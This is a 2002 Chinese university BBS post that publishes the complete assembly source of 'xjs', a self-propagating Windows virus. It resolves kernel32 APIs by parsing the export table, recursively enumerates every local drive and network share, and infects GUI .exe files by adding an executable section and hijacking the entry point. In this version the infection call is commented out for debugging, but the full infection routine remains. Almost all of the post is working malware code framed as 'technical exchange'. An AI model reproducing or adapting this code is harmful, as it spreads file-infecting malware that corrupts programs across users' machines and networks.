Programming 版 (精华区)
发信人: pzc (呆呆地呆着发呆), 信区: Programming
标 题: 一个可传播的程序(v1.1)
发信站: 哈工大紫丁香 (2002年03月28日19:16:47 星期四), 站内信件
;************************************************************
;编写环境: win2k,masm32v5
;完成日期: 2002/3/28/7:10
;适用环境: win9x/winnt/win2k/winxp
;程序功能: 感染本地硬盘和网络上所有exe(GUI)文件,不发作
;版 本: v1.1
;大 小: 1937(byte)
;程序名称: xjs
;联系地址: AwakeinAlone@X263.net
;说 明: 本文纯属技术交流.万一有转贴,请保持完整性,多谢!
;************************************************************
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\mpr.inc
includelib \masm32\lib\mpr.lib
.data
hi db "hi",0
ppmm db "ppmm,you need no reason to love me!",0
.code
main:
mov HostEntry,offset ret_addr
jmp vstart
ret_addr:
Invoke MessageBox,NULL,offset ppmm,offset hi,0
ret
CODE segment
vstart: ;virus start here :)
call start
start:
pop ebx
sub ebx,offset start ;ebx=病毒在4G空间的偏移量
push HostEntry[ebx] ;保存宿主程序入口,做返回宿主之用
call GetKernelBase ;取得Kernel32.dll的image base
or eax,eax
jz short vexit
call GetGPAFuncAddr ;取得GetProcAddress的地址
call GetAllFuncAddr ;取得其他函数地址
call VThread ;暂时没有启动真的线程
vexit:
ret ;此时栈顶为HostEntry,返回正常入口执行
;**********获得image of kernel32.dll的基址********************
;mov edi,[esp+8]这条指令取得返回到BaseStartProcess
;的返回地址,主线程执行的第一条指令应该是BaseStartProcess
;的指令,在这个函数中调用的vstart(程序入口),返回地址进栈,
;既程序执行完时,应该返回到BaseStartProcess函数。这个函数
;既然在kernel32中,它的指令地址就在kernel32中并且大于hmodule
;of kernel32,以它为基础,以64k(10000h)(分配粒度)为单位向上
;搜索具有pe机构的模块。
;*************************************************************
GetKernelBase:
mov edi , [esp+8]
and edi , 0ffff0000h
.while TRUE
.if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi+03Ch]
.if DWORD ptr [esi] == IMAGE_NT_SIGNATURE
.break
.endif
.endif
sub edi, 010000h
.if edi < 070000000h ;应该是win9x,直接赋值
mov edi, 0bff70000h ;0bff7000h 是win9x的base
.break
.endif
.endw
xchg eax, edi
mov hKernel32[ebx],eax ;保存kernel32.dll的base addr
ret
;************获得GetProcAddress的地址*************
;利用输出表查找GetProcAddress地址
;输出表结构和功能,参看pe教程
;*************************************************
GetGPAFuncAddr:
mov edx,eax ;edx->Kernel32_Base
assume edx :ptr IMAGE_DOS_HEADER
add edx,[edx].e_lfanew
assume edx:ptr IMAGE_NT_HEADERS
mov edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
add edx,hKernel32[ebx]
assume edx:ptr IMAGE_EXPORT_DIRECTORY
mov ebp,[edx].AddressOfNames
add ebp,hKernel32[ebx] ;now ebp=Addr of RVAofName[]
mov eax,0 ;eax AddressOfNames Index
mov ecx,14 ;length of string GetProcAddress
.repeat
mov edi,[ebp]
add edi,hKernel32[ebx]
lea esi,[offset nGetProcAddress+ebx]
repz cmpsb
.if zero?
.break
.endif
mov ecx,14
add ebp,4 ;下一个RVA
inc eax
.until eax == [edx].NumberOfNames
mov ebp, [edx].AddressOfNameOrdinals
add ebp, hKernel32[ebx]
movzx ecx,word ptr [ebp+eax*2]
mov ebp, [edx].AddressOfFunctions ; get address of the api
add ebp, hKernel32[ebx]
mov eax, [ebp+ecx*4]
add eax,hKernel32[ebx] ;now we get it
mov dwGetProcAddress[ebx],eax
ret
;**************************************************
;Get Other Funtions Addresses
;**************************************************
GetAllFuncAddr:
lea eax,[offset nLoadLibraryA+ebx]
push eax
push hKernel32[ebx]
call dwGetProcAddress[ebx]
mov dwLoadLibraryA[ebx],eax ;Get LoadLibraryA's Address
lea edi,[offset Kernel32_FuncName+ebx]
mov ecx,Kernel_num ;Kernel32's Func Num=14
mov ebp,0
Kernel32_begin:
push ecx
push edi
push hKernel32[ebx]
call dwGetProcAddress[ebx]
mov Kernel32_FuncAddr[ebp+ebx],eax
xor eax,eax
repnz scasb ;寻找字符串结束标志0,使edi指向下个函数名
add ebp,4
pop ecx
loop Kernel32_begin
lea eax,[offset dllMpr+ebx]
push eax
call dwGetModuleHandle[ebx]
.if eax==NULL
lea eax,[offset dllMpr+ebx]
push eax
call dwLoadLibraryA[ebx]
.endif
mov esi,eax ;Hmodule of MPR.dll
lea edi,[offset Mpr_FuncName+ebx]
mov ecx,Mpr_num ;MPR's Func Num=3
mov ebp,0
Mpr_begin:
push ecx
push edi
push esi
call dwGetProcAddress[ebx]
mov Mpr_FuncAddr[ebp+ebx],eax
xor eax,eax
repnz scasb
add ebp,4
pop ecx
loop Mpr_begin ;Now we get all funtion' addrs
ret
;*******************************************
;the thread begin to enum all file in disk
;and neibourhood , when it finds a pe file
;Infect it ^0^
;*******************************************
VThread:
call InfectDisk
xor edi,edi ;用edi传递pNetResource (参数)
call InfectNetWork
ret
;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe
;*********************************************
InfectDisk:
mov al,'c'
.while al<='z'
mov byte ptr CurDisk[ebx],al
push eax
lea eax,[offset CurDisk+ebx]
push eax
call EnumDir
pop eax
inc al
.endw
ret
;************InfectNetWork************************
;遍历网络邻居,找到计算机后,调用EnumDir遍历其所有exe
;*************************************************
InfectNetWork:
push edi ;use edi in the func
push ebp
mov ebp , esp
sub esp , 16
mov dword ptr [ebp-8],0ffffffffh
mov dword ptr [ebp-12],16*1024
lea eax,[ebp-4] ; hEnum=ebp-4
push eax ; push & hEnum
push edi ; push pNetResource (参数)
push 0
push RESOURCETYPE_DISK
push RESOURCE_GLOBALNET
call dwWNetOpenEnum[ebx]
or eax,eax
jnz EN_Close
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push 16*1024
push 0
call dwVirtualAlloc[ebx]
or eax,eax
jz short EN_Close
mov [ebp-16],eax ; mov pBuffer,eax
mov edi,eax ;edi = pNetResource
lea eax,[ebp-12]
push eax
push edi
lea eax,[ebp-8]
push eax
push [ebp-4]
call dwWNetEnumResource[ebx]
or eax,eax
jnz short EN_Free
mov ecx,[ebp-8]
assume edi:ptr NETRESOURCEA
EN_Loop:
push ecx
mov eax,[edi].dwUsage
and al,2
.IF al == 2
call InfectNetWork ;para in edi
.ELSE
push edi ;EnumDir use edi
mov eax,[edi].lpRemoteName
push eax
call EnumDir
pop edi
.ENDIF
add edi,20h ; sizeof NETRESOURCE
pop ecx
loop EN_Loop
EN_Free:
push MEM_RELEASE
push 0
push [ebp-16]
call dwVirtualFree[ebx]
EN_Close:
push [ebp-4]
call dwWNetCloseEnum[ebx]
add esp , 16
pop ebp
pop edi
ret
;****************************************************
;用递归方法遍历目录下所有exe文件
;找到后调用InfectFile
;栈上几个变量如下所示
;ebp-4=hSearch,ebp-264=DirofFile[],ebp-268=CurDirLen
;****************************************************
EnumDir:
push ebp
mov ebp,esp
sub esp,268
mov esi,[ebp+8]
xor ecx,ecx
.while byte ptr [esi+ecx]!=0
inc ecx ;得到目录长度
.endw
inc ecx
mov [ebp-268],ecx ;len of CurDir string
dec ecx
lea edi,[ebp-264]
rep movsb
lea esi,[offset sds+ebx] ;offset of "*.*"
movsd ;len of "\*.*"
movsb ;add NULL to the end
lea eax,[offset wfd+ebx]
push eax
lea eax,[ebp-264]
push eax
call dwFindFirstFile[ebx]
.if eax<=0
jmp l_close
.endif
mov [ebp-4],eax ;hSearch=eax
l_next:
lea eax,[offset wfd+ebx]
push eax
push [ebp-4]
call dwFindNextFile[ebx]
.if eax==FALSE
jmp short l_close
.endif
.if byte ptr [wfd+44+ebx]=='.'
jmp short l_next
.endif
lea edi,[ebp-264]
add edi,[ebp-268]
lea esi,[wfd+44+ebx]
xor ecx,ecx
.while byte ptr [esi+ecx]!=0
inc ecx
.endw
inc ecx
rep movsb ;strcat(DirofFile,wfd.cFileName)
.if dword ptr [wfd+ebx]==FILE_ATTRIBUTE_DIRECTORY
lea eax,[ebp-264]
push eax
call EnumDir
.else
call File_Test
.endif
jmp short l_next
l_close:
.if dword ptr [ebp-4]!=NULL
push [ebp-4]
call dwFindClose[ebx]
.endif
add esp,268
pop ebp
ret 4
;************************************
;edi->end of CurorFile string
;if this file is finished by 'exe'
;notice 'exe' isn't 'EXE'
;we call msgbox to show it
;************************************
File_Test:
sub edi,5
cmp dword ptr[edi],6578652Eh ; 6578652E= .exe
jnz short ft_end
lea eax,[ebp-264]
;call InfectFile
Invoke MessageBox,NULL,eax,eax,0 ; 调试用
ft_end:
ret
;********************************************
;下面代码用于感染文件
;原理请参见前面的文章“为pe文件插入代码”
;********************************************
InfectFile:
push ebp ;保存ebp
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
lea eax,[ebp-264]
push eax
call dwCreateFile[ebx]
.IF eax<=0
jmp InfectFile_Exit
.ENDIF
mov hFile[ebx],eax
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile[ebx]
call dwCreateFileMapping[ebx]
.IF eax<=0
jmp InfectFile_Exit
.ENDIF
mov hMapping[ebx], eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping[ebx]
call dwMapViewOfFile[ebx]
.IF eax<=0
jmp InfectFile_Exit
.ENDIF
mov pMapping[ebx],eax
mov ebp,eax
assume ebp :ptr IMAGE_DOS_HEADER
.IF [ebp].e_magic!=IMAGE_DOS_SIGNATURE
jmp InfectFile_Exit
.ENDIF
.IF [ebp].e_lfarlc!=040h
jmp InfectFile_Exit
.ENDIF
mov eax,[ebp].e_lfanew
add ebp,[ebp].e_lfanew ;此时ebp指向PE文件头
assume ebp:ptr IMAGE_NT_HEADERS
.IF [ebp].Signature!=IMAGE_NT_SIGNATURE ;是PE文件吗?
jmp InfectFile_Exit
.ENDIF
.IF word ptr [ebp].OptionalHeader.Subsystem!=2 ;GUI? CUI=3!
;是否已经感染
jmp InfectFile_Exit
.ENDIF
.IF word ptr [ebp+1ah]==0842h ;是否已经感染
jmp InfectFile_Exit
.ENDIF
mov eax,[ebp].OptionalHeader.AddressOfEntryPoint
add eax,[ebp].OptionalHeader.ImageBase
mov HostEntry[ebx],eax ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
movzx eax,[ebp].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
lea esi,[ebp]
sub esi,pMapping[ebx]
add eax,esi
add eax,18h
movzx esi,[ebp].FileHeader.SizeOfOptionalHeader
add eax,esi
mov edi,eax
add edi,pMapping[ebx] ;I forgot this first
add eax,28h
.IF eax>[ebp].OptionalHeader.SizeOfHeaders
jmp InfectFile_Exit
.ENDIF
;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************
inc [ebp].FileHeader.NumberOfSections ;节数目+1
mov esi,edi
sub esi,28h
assume edi:ptr IMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
mov dword ptr[edi],00736A78h ;[edi].Name1="xjs",0
push [ebp].OptionalHeader.SizeOfImage
pop [edi].VirtualAddress
mov eax,offset vend-offset vstart
mov [edi].Misc.VirtualSize,eax
mov ecx,[ebp].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax
mov eax,[esi].PointerToRawData
add eax,[esi].SizeOfRawData
mov [edi].PointerToRawData,eax
mov [edi].Characteristics,0E0000020h ;可读可写可执行
;*********************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;*********************************************************************
mov eax,[edi].Misc.VirtualSize
mov ecx,[ebp].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[ebp].OptionalHeader.SizeOfImage
mov [ebp].OptionalHeader.SizeOfImage,eax
mov eax,[edi].VirtualAddress
mov [ebp].OptionalHeader.AddressOfEntryPoint,eax
mov word ptr [ebp+1ah],0842h ;写入感染标志
push FILE_BEGIN
push 0
push [edi].PointerToRawData
push hFile[ebx]
call dwSetFilePointer[ebx]
.IF eax<=0
jmp InfectFile_Exit
.ENDIF
;*********************************************************************
;设置文件指针到结尾后,写入从vstart开始的代码,大小经过文件对齐
;*********************************************************************
push 0
lea eax,[offset byte_write+ebx]
push eax
push [edi].SizeOfRawData
lea eax,[offset vstart+ebx]
push eax
push hFile[ebx]
call dwWriteFile[ebx]
InfectFile_Exit:
.if pMapping[ebx]!=NULL
push pMapping[ebx]
call dwUnmapViewOfFile[ebx]
.endif
.if hMapping[ebx]!=NULL
push hMapping[ebx]
call dwCloseHandle[ebx]
.endif
pop ebp ;恢复ebp
ret
;***********以下是数据************************
HostEntry dd 0
hKernel32 dd 0
nGetProcAddress db "GetProcAddress",0
nLoadLibraryA db "LoadLibraryA",0
dwGetProcAddress dd 0
dwLoadLibraryA dd 0
Kernel32_FuncName:
nCreateThread db "CreateThread",0
nGetModuleHandle db "GetModuleHandleA",0
nFindFirstFile db "FindFirstFileA",0
nFindNextFile db "FindNextFileA",0
nFindClose db "FindClose",0
nCreateFile db "CreateFileA",0
nCreateFileMapping db "CreateFileMappingA",0
nMapViewOfFile db "MapViewOfFile",0
nUnmapViewOfFile db "UnmapViewOfFile",0
nSetFilePointer db "SetFilePointer",0
nWriteFile db "WriteFile",0
nCloseHandle db "CloseHandle",0
nVirtualAlloc db "VirtualAlloc",0
nVirtualFree db "VirtualFree",0
dllMpr db "MPR.dll",0
Mpr_FuncName:
nWNetOpenEnum db "WNetOpenEnumA",0
nWNetEnumResource db "WNetEnumResourceA",0
nWNetCloseEnum db "WNetCloseEnum",0
Kernel32_FuncAddr:
dwCreateThread dd 0
dwGetModuleHandle dd 0
dwFindFirstFile dd 0
dwFindNextFile dd 0
dwFindClose dd 0
dwCreateFile dd 0
dwCreateFileMapping dd 0
dwMapViewOfFile dd 0
dwUnmapViewOfFile dd 0
dwSetFilePointer dd 0
dwWriteFile dd 0
dwCloseHandle dd 0
dwVirtualAlloc dd 0
dwVirtualFree dd 0
Kernel_num=14
Mpr_FuncAddr:
dwWNetOpenEnum dd 0
dwWNetEnumResource dd 0
dwWNetCloseEnum dd 0
Mpr_num=3
;*************遍历目录所用*************************************
wfd WIN32_FIND_DATA <>
sds db '\*.*',0
CurDisk db 'c:',0
;*************感染文件数据*************************************
hFile dd 0
hMapping dd 0
pMapping dd 0
byte_write dd 0 ;WriteFile时使用,没有实际用途,为了程序正确
;*************************************************************
vend:
CODE ends
end main
--
※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: 202.118.236.144]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:209.386毫秒